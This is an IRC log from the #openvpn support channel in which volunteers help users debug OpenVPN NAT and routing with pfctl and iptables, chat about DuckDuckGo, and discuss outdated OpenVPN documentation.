11:31 <@krzee> oh but now it supports pfctl, that suggests they moved to pf
11:31 < squ> cool
11:32 < squ> that icefloor app is using pf.. sounds promising
11:32 < squ> :-)
11:32 < pekster> The *OS* is using pf. Use the OS features, not some dumb app
11:32 < squ> sure
11:32 < pekster> `man pfctl`, then profit
11:33 <@krzee> (he skipped the ??? step)
11:33 < pekster> Oh, right. https://duckduckgo.com/?q=OS+X+server+NAT ;)
11:33 <@vpnHelper> Title: OS X server NAT at DuckDuckGo (at duckduckgo.com)
11:33 < pekster> Mind blowing search terms, I know. You can pay me with your first-born later.
11:33 <@krzee> duck duck go?
11:33 < pekster> google replacement
11:34 < squ> you go first
11:34 <@krzee> nice, its good?
11:34 < jzaw> you can replace google?
11:34  * jzaw likes that idea 
11:34  * krzee too
11:34 < jzaw> can we replace apple ms and the rest?
11:34 < pekster> Yea, mostly krzee. If you need google, is supports quicklinks via !g term (google search) or !gi term (image seach on google)
11:34 <@krzee> hah badass
11:35 < pekster> ddg has bad image support, but for general stuff it's great. Really obscure things require google now and then, but OS X NAT is not obscure, despite squ's failure to use a search engine
11:37 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
11:38 < pekster> krzee: Here's the video link I was trying to find: http://vimeo.com/51181384
11:38 <@vpnHelper> Title: There are no "regular results" on Google anymore. on Vimeo (at vimeo.com)
11:38 <@dazo> krzee: duckduckgo is decent ... but google is faster and might give better hits :( ... however, it's far from bad
11:39 < pekster> Yea, ddg is my default search engine, and maybe 1 in 20 queries I end up using google as a fallback
11:39 <@dazo> that sounds very familiar :)
11:39 < pekster> best part? encrypted by deafult, so no need to remember to type the s in the URL every time :D
11:40 <@krzee> they even have an opera addon
11:41 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:41 < rob0> oh, that Italian singing doesn't sit well with me
11:43 <@krzee> there, ddg is my default now
11:44 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
11:46 -!- mode/#openvpn [+vvvv _quadDamage dougy MikeH oc80z] by krzee
11:46 -!- mode/#openvpn [+v Wintereise] by krzee
11:52 < jzaw> pekster, thansk ddg .. brilliant .. i just changed the keyword.url   to https://duckduckgo.com/?q=
11:52 < jzaw> and its a go!
11:52 <@vpnHelper> Title: DuckDuckGo (at duckduckgo.com)
11:55 <@EugeneKay> Quack
11:59 <@krzee> DuckDuckGo does not collect or share personal information. That is our privacy policy in a nutshell. The rest of this page tries to explain why you should care.
12:00 <@krzee> thank you pekster =]
12:00 <@dazo> the only big minus about ddg ... I don't think there is a http://lmgtfy.com/ service for it .... :/
12:00 <@vpnHelper> Title: Let me google that for you (at lmgtfy.com)
12:00 <@dazo> ;-)
12:01 <@krzee> haha
12:01 <@krzee> lmddgtfy
12:01 <@krzee>    Domain Name: LMDDGTFY.COM
12:01 <@krzee>       Created on: 09-May-10
12:01 <@krzee> hahah
12:02 <@krzee> thats funny, its really that acronym but not a search engine, a wordpress blog
12:02 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
12:03 <@EugeneKay> Spaaaam domain
12:03 <@krzee> that gives me hillariously evil ideas that i will not entertain
12:03 < pekster> SOA is fun too: handled out of yourcpanelserver.com :\
12:04 <@krzee> oh it is spam
12:06 < squ> how do I find out why nat is not working?
12:10 <@EugeneKay> !nat
12:10 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
12:12 < squ> no iptables on mac
12:14 <@krzee> pfctl -snat
12:14 <@krzee> actually
12:15 <@krzee> pfctl -sall
12:15 <@krzee> pastebin it
12:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:17 < squ> http://bpaste.net/show/93267/
12:18 < squ> looks like total 0 filtering rules
12:18 < squ> didn't that icefloor app just told me that it enables filtering?!
12:19 <@krzee> thats why pekster told you not to rely on some lame frontend
12:20 < squ> can you recommend another?
12:20 < pekster> `man pfctl` as I said above
12:20 < squ> didn't noticed it, can you say it again?
12:20 <@krzee> pekster, we're being trolled right?
12:20 < pekster> If that confuses you, you need to first gain some basic network knowledge and try again when you have a better understanding. The !tcpip guide you were linked earlier is a good place to start
12:21 < squ> if I were configuring something serious, sure
12:21 < squ> but I just want to connect an iphone :)
12:21 <@krzee> https://support.apple.com/kb/HT5414     LOL even apple says rtfm
12:21 <@vpnHelper> Title: OS X Server: About the NAT Service (at support.apple.com)
12:21 < pekster> You are. OpenVPN is not a "simple" network topic.
12:21 < pekster> !basic
12:21 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
12:22 < pekster> VPNs in general are an advanced form of networking, requiring a good understanding of both general networking and your OS for the platforms involved. You appear to have neither, which is causing problems
12:22 <@krzee> apple's knowledgebase says to man pfctl i love it
12:22 < pekster> krzee: Yea, I dropped enough hints earlier to get to that page, so I stopped caring
12:23 < pekster> First hit on my search URL, fwiw
12:23 <@krzee> i didnt bother clicking that far before
12:23 <@krzee> (since its not *my* goal)
12:23 < pekster> Right
12:23 <@krzee> but i love apple's kb on that one
12:23 < squ> http://bpaste.net/show/93269/
12:23 < squ> here we go
12:23 < squ> what IceFloor adds
12:23 <@krzee> someone at apple was like "hey we used pf so we wouldnt have to do all this crap, just man pfctl"
12:24 < pekster> It's the magic of Unix-alike OSes: one program, one task
12:24 <@krzee> kudos to apple to going to pf, i love pf
12:25 <@krzee> (over ipfw)
12:25 -!- sauce [sauce@unaffiliated/sauce] has quit [Read error: Operation timed out]
12:25 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
12:29 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
12:32 < squ> now I can't ping 10.8.0.1 again
12:32 < pppingme> does --fast-io need to be specified on both ends, or is that a local only setting?
12:35 <@dazo> pppingme: --fast-io is independent of the remote site ... but if both sides supports it, it probably gives better performance
12:36 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
12:37 < pppingme> dazo thanks!
12:37 <@krzee> !irclogs
12:37 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/#openvpn.log and http://secure-computing.net/logs/#openvpn-devel.log and are updated every three hours.
12:38 <@krzee> heh or not
12:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:42 < squ> ALL tcp 10.8.0.18:59326 -> 157.56.52.31:443       SYN_SENT:CLOSED
12:43 < squ> this is output from pfctl -sall
12:43 -!- ajolo__ [~ariel@190.183.222.194] has left #openvpn ["Konversation terminated!"]
12:43 < squ> something closing my client connections? :)
13:00 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
13:02 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
13:03 < squ> you guys are useless :)
13:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:25 -!- root____8 [~root@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:25 -!- root____8 is now known as qwertyoruiop_
13:26 < qwertyoruiop_> hey guys, im having some issues with my openvpn server
13:26 < qwertyoruiop_> i've configured everything, enabled ip forwarding and added an iptables rule to nat the traffic
13:26 < qwertyoruiop_> on my client i ping 8.8.8.8
13:27 < qwertyoruiop_> but it timeouts
13:27 < qwertyoruiop_> i tcpdump on the server
13:27 < qwertyoruiop_> there are two tuns
13:27 < qwertyoruiop_> tun0 and tun1
13:27 < qwertyoruiop_> on tcpdump of tun1 i see packets from my client to 8.8.8.8
13:27 < qwertyoruiop_> no replies
13:27 < qwertyoruiop_> on tcpdump tun0 i see packets from 8.8.8.8 to my client
13:27 < qwertyoruiop_> but my client is not getting them
13:28 < qwertyoruiop_> any idea?
13:29 < pekster> !redirect
13:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:29 <@vpnHelper> http://ircpimps.org/redirect.png
13:29 < qwertyoruiop_> i got redirect-gateway & ip forwarding & nat enabled
13:30 < qwertyoruiop_> packets get sent successfully, just not getting returned to the client
13:30 < qwertyoruiop_> (i cannot even ping my server's ip from my client, but it's connected succesfully and packets do get delivered, not returned tho)
13:31 < pekster> Mutliple tun devices is a problem if you only have a single VPN instance; the instance is bound to a single tun device
13:31 < qwertyoruiop_> uh
13:31 < rob0> BTW I would highly recommend not using IRC as root.
13:31 < qwertyoruiop_> sorry for it, i don't want to open another ssh session
13:32 < qwertyoruiop_> let's see if theres some other instance running that i'm not aware of
13:32 < pekster> Also a bit silly to do that over a tor relay where a hostile exit node could attack your irssi instance ;)
13:32 < rob0> I'd also recommend not allowing ssh for root :)
13:32 < qwertyoruiop_> pekster: my server is a tor exit node
13:32 < qwertyoruiop_> this is a secondary ip address tho
13:32 < qwertyoruiop_> ah, it works now
13:32 < rob0> Anyway, I suggest working through the flowchart.
13:32 < qwertyoruiop_> had to killall -9 openvpn
13:32 < rob0> ah, good.
13:33 < qwertyoruiop_> probably an istance of openvpn got erroneously launched
13:33 < qwertyoruiop_> thansk
13:33 < qwertyoruiop_> *thanks
13:33 < pekster> YOu shouldn't ever kill -9 unless you can't stop it with a SIGINT or SIGTERM
13:33 < qwertyoruiop_> i sigint'd earlier, only the process i'm working on died
13:33 < qwertyoruiop_> anyway -it's working now, many thanks
13:33 < qwertyoruiop_> :)
13:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:34 -!- qwertyoruiop_ [~root@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Quit: leaving]
13:35 -!- mode/#openvpn [+v thumbs] by krzee
13:40 < MacGyver> Hmm. I'm in doubt of something specific regarding source addresses, NAT, and VPN: Suppose I have an open TCP-connection using source address 1.2.3.4, then start my VPN and enable routing of everything over the VPN. On the other side of the VPN is a NAT, which changes all the source addresses to 5.6.7.8. Now, the connection stalls because the *other* end of the connection doesn't have an established TCP-connection with 5.6.7.8. However, ...
13:40 < MacGyver> ... the source-address of packets sent from this side is unchanged, correct? Implying that, if there was no NAT on the other side of the VPN, packets would take a route through the VPN to the destination, and then returnpackets would be routed outside of the VPN to the "normal" destination, correct?
13:43 < pekster> Nope, locally-generated outbound connections choose a source IP based on the route they'll be taking, thus redirecting your gateway causes them to be sourced from the IP on the VPN interface
13:43 < pekster> Further, no upstream ISP in their right mind is going to let you spoof address ranges that don't belong to you (and if it's rfc1918 it's moot anyway since those aren't publically-routable in the first place)
13:43 < MacGyver> But they're existing connections - the soucre address changes regardless?
13:43 < pekster> No, those will break
13:44 < pekster> OpenVPN will reject them, and eve if it didn't, your upstream router will
13:47 -!- brute11k1 [~brute@89.249.235.152] has joined #openvpn
13:48 < MacGyver> Why would OpenVPN reject them? To openvpn, wouldn't they look like any other packet forwarded from anywhere to the tunnel?
13:48 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
13:48 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 252 seconds]
13:48 < MacGyver> I understand why the upstream router would.
13:48 < pekster> !iroute
13:48 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
13:49 < pekster> You need to set up routing properly both within and outside openvpn if you want to route
13:49 < pekster> Routing isn't magic
13:50 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
13:50 -!- squ was kicked from #openvpn by dazo [Since we're useless, we don't need you here ;-)]
13:50  * dazo couldn't resist
13:51 <@krzee> i couldnt believe it took that long
13:51 <@krzee> lol
13:51 <@krzee> guess i coulda, but it was fun seeing someone else do it :D
13:51 <@dazo> heh :)
13:51 < rob0> dazo++ :)
13:51 <@dazo> well, I didn't pay attention here for a while ... and when I saw he asked for it .....
13:52 < pekster> dazo, but you could hvae downloaded some frontend to your chat client to kick instead, that way you don't need to read about the /kick command before using it :P
13:52 < rob0> I should not have let that pass without comment, even if it was followed by a smiley
13:52 <@dazo> pekster: tempting me to practice my new skills? ;-)
13:52 <@krzee> i figured pekster would want to since he actually had told the guy what he needed and ddg'ed it for him (my first use of ddg as a verb!)
13:54 < jzaw> dazo++
13:54  * plaisthos wonders what ddg is?
13:54 <@dazo> duckduckgo.com
13:54 < jzaw> i got abuse from him yesterday on a different channel ... for not giving the answer he wanted
13:54 <@krzee> duckduckgo.com google replacement
13:54 < jzaw> of course the questions were wrong
13:54 <@dazo> jzaw: which channel was that?
13:55 < jzaw> #openwrt
13:55 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Quit: FatDarrel]
13:55 <@dazo> hmm ..well ... there's no words for such people
13:55 < jzaw> i think there are ... but not on a civilised channel ;)
13:55 < rob0> We need to recognize that some people are entitled. It's our fault for failing to adequately anticipate their needs.
13:55 <@dazo> hehehe ... true :)
13:56  * dazo decides to call it a day and head home :)
13:56 <@krzee> later!
13:56 < jzaw> 0/
13:56 <@dazo> c'ya!
13:57 -!- dazo is now known as dazo_afk
13:57 < rob0> We spent our time and energy to learn these things, so that the Entitled Ones need not bother.
13:58 < rob0> Hmm. They need a signal. Something like "shibboleet" (but obviously NOT "shibboleet", hmmm.)
13:58 < jzaw> surely we need to anticipate WHEN they want the answers too ?
13:58 < rob0> jzaw++
13:59 < pekster> Meh, it's straight up lazyness is what it is. Some people need pointers to the docs, or a helping-hand connecting technical elements, but failure to want to learn doesn't work well most anywhere on Freenode, or the copyleft community
13:59 < jzaw> our isp is great has practically 24/7 irc support ! ..... shibboleet for when you are in real trouble
14:00 < pekster> Sadly, the line between lack of (correct) information and lazyness is sometimes an indistinguishable one
14:05 < rob0> Oh, I think the main issue is whether or not you recognize that others are not required to go out of their way to help you. Most of those who know that do well enough.
14:06 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
14:06 < pekster> So, is http://openvpn.net/index.php/open-source/documentation.html part of the "corp" side of things? The GPL doc links are pretty out of date
14:06 <@vpnHelper> Title: Documentation (at openvpn.net)
14:06 < pekster> THe 'manuals' link has links to the "community.openvpn.net" subdomain wiki, but that does little good if the "corp" junk is not maintained properly
14:07  * pekster really wishes this was split out a bit more formally, maybe just dumping the community stuff on its own subdomain completely
14:09 <@krzee> pekster, ild say that is more community, but its very disorganized as you're noticing? that doc is from before community. existed
14:13 < pekster> Well, I'd fix it, but that's not part of the official wiki page. I almost wonder if beefing up https://community.openvpn.net/openvpn and making it the landing page for the big "community" button would be better. I dunno, between people getting AS vs GPL confused, and then the landing page showing 2.1 manuals, it's no wonder some people get confused. So much for my fancy doc update, 'eh? :P
14:13 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net)
14:13 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
14:15 < pekster> Or just maintaining the index page that's there better. That removes the ability of the community to keep it up to date though, needing an active maintainer with web server access
14:15 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Ping timeout: 256 seconds]
14:16 < pekster> Dunno, I'll see if I can raise the issue at the next dev meeting. I'm even happy to voulenteer to maintain it if all that's missing is a willing victim^Wperson
14:20 -!- Feico [~feico@s529db771.adsl.online.nl] has joined #openvpn
14:21 -!- Feico [~feico@s529db771.adsl.online.nl] has left #openvpn []
14:22 -!- Feico [~feico@s529db771.adsl.online.nl] has joined #openvpn
14:27 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 257 seconds]
14:28 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
14:32 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:36 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
14:41 -!- zapotek6 [~zap@host2-91-dynamic.8-87-r.retail.telecomitalia.it] has joined #openvpn
14:47 < Feico> !welcome
14:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:49 -!- zapotek6 [~zap@host2-91-dynamic.8-87-r.retail.telecomitalia.it] has left #openvpn []
14:51 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:53 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
14:53 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:54 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
14:55 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:56 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
14:57 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:58 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
15:00 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:01 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:01 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:02 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:03 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:05 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 255 seconds]
15:07 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:07 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:08 < Feico> !howto
15:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:09 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:09 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:11 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
15:11 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:11 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:12 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
15:13 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:14 -!- [fred] [fred@konfuzi.us] has joined #openvpn
15:14 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:15 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:15 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:18 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Bye"]
15:27 -!- Feico [~feico@s529db771.adsl.online.nl] has quit [Quit: Changing server]
15:29 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Read error: Connection reset by peer]
15:30 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
15:31 -!- Orbi [~opera@109.129.46.202] has joined #openvpn
15:31 -!- Orbi [~opera@109.129.46.202] has left #openvpn []
15:31 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
15:43 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
15:44 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Read error: Connection reset by peer]
15:48 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:53 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
16:31 -!- brad` [~brad@ninja.so] has joined #openvpn
16:31 -!- brad [~brad@ninja.so] has quit [Read error: Connection reset by peer]
16:32 -!- Poster|w [poster@gateway/shell/bshellz.net/x-xpxkpbvxrjblnaai] has quit [Ping timeout: 252 seconds]
16:32 -!- Poster|w [poster@gateway/shell/bshellz.net/x-qgiltaybpejdfuml] has joined #openvpn
16:38 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:40 -!- zx2c4 [~zx2c4@gentoo/developer/zx2c4] has joined #openvpn
16:40 -!- brad` is now known as brad
16:40 < zx2c4> How can I have an tcp-443 server and a udp-1194 server share the same IP pool without having to split it up a priori?
16:43 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Quit: Quit]
16:58 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:03 < Matir> zx2c4: I tried that once, the only way I could find was running an external dhcp server (dnsmasq) with TAP mode... ended up splitting in the end with two /25s.
17:03 < zx2c4> yuck
17:04 < Matir> zx2c4: yeah... I'm guessing you'd prefer to use udp (as tcp over tcp sucks) but tcp-443 is much nicer on firewalled networks?
17:05 < zx2c4> yeah
17:05 < zx2c4> so I want both
17:05 < zx2c4> for whatever situation
17:06 < Matir> I never bothered to try, but there's this client-connect script that you can return OpenVPN configuration directives from... so you could have some script that registers clients, and returns the IP configuration as a "static" config to the server
17:13 -!- mvmdata [~Meadows@108-203-29-248.lightspeed.stlsmo.sbcglobal.net] has left #openvpn []
17:17 -!- Netsplit *.net <-> *.split quits: +_quadDamage, Thermi, jave, spacedust, Martin`, Dave2
17:17 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
17:17 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
17:18 -!- Netsplit over, joins: +_quadDamage, Thermi, jave, Martin`, spacedust, Dave2
17:44 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
17:50 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
17:54 -!- Skaag [~lunix@114-44-6-1.dynamic.hinet.net] has joined #openvpn
18:12 -!- Netsplit *.net <-> *.split quits: +_quadDamage, Thermi, jave, spacedust, Martin`, Dave2
18:12 -!- Netsplit over, joins: +_quadDamage, Thermi, jave, Martin`, spacedust, Dave2
18:14 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
18:18 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
18:53 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
18:59 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
18:59 -!- brad [~brad@ninja.so] has joined #openvpn
19:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
19:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:20 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Ping timeout: 256 seconds]
19:25 -!- Netsplit *.net <-> *.split quits: +_quadDamage, Thermi, jave, spacedust, Martin`, Dave2
19:28 -!- zx2c4 [~zx2c4@gentoo/developer/zx2c4] has quit [Quit: ZX2C4 Chat]
19:30 -!- Netsplit over, joins: +_quadDamage, Thermi, jave, Martin`, spacedust, Dave2
19:36 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
19:36 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
19:37 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
19:37 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
19:37 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
19:37 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
19:39 -!- raidz is now known as raidz_away
20:30 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:32 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:18 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 248 seconds]
21:19 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
21:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
21:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
21:26 -!- mode/#openvpn [+o vpnHelper] by ChanServ
21:47 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds]
22:04 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
22:10 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
22:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 276 seconds]
22:16 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:16 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
22:16 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
22:25 -!- master_o1_master [~master_of@p4FF24F29.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
22:27 -!- master_of_master [~master_of@p4FF24146.dip0.t-ipconnect.de] has joined #openvpn
23:13 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
23:20 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
23:24 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
23:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
23:38 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
--- Day changed Tue Apr 23 2013
00:01 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:04 < pppingme> is there a way to get a client to ignore when a server is pushing "redirect-gateway"?
00:17 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
00:30 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
00:36 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
00:43 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:50 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 256 seconds]
00:51 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:51 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
00:51 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:52 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
00:56 -!- brute11k1 [~brute@89.249.235.152] has quit [Ping timeout: 276 seconds]
00:56 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
00:58 -!- brute11k [~brute@89.249.235.152] has quit [Read error: Connection reset by peer]
01:30 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 264 seconds]
01:34 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:37 -!- mattock_afk is now known as mattock
01:41 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:41 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:41 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:41 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:50 < pekster> pppingme: Read about --route-nopull in the manpage
02:01 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
02:47 -!- Feico [~feico@s529db771.adsl.online.nl] has joined #openvpn
02:51 -!- Feico [~feico@s529db771.adsl.online.nl] has quit [Client Quit]
02:52 -!- Feico [~feico@s529db771.adsl.online.nl] has joined #openvpn
03:05 -!- newbie|5 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
03:05 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
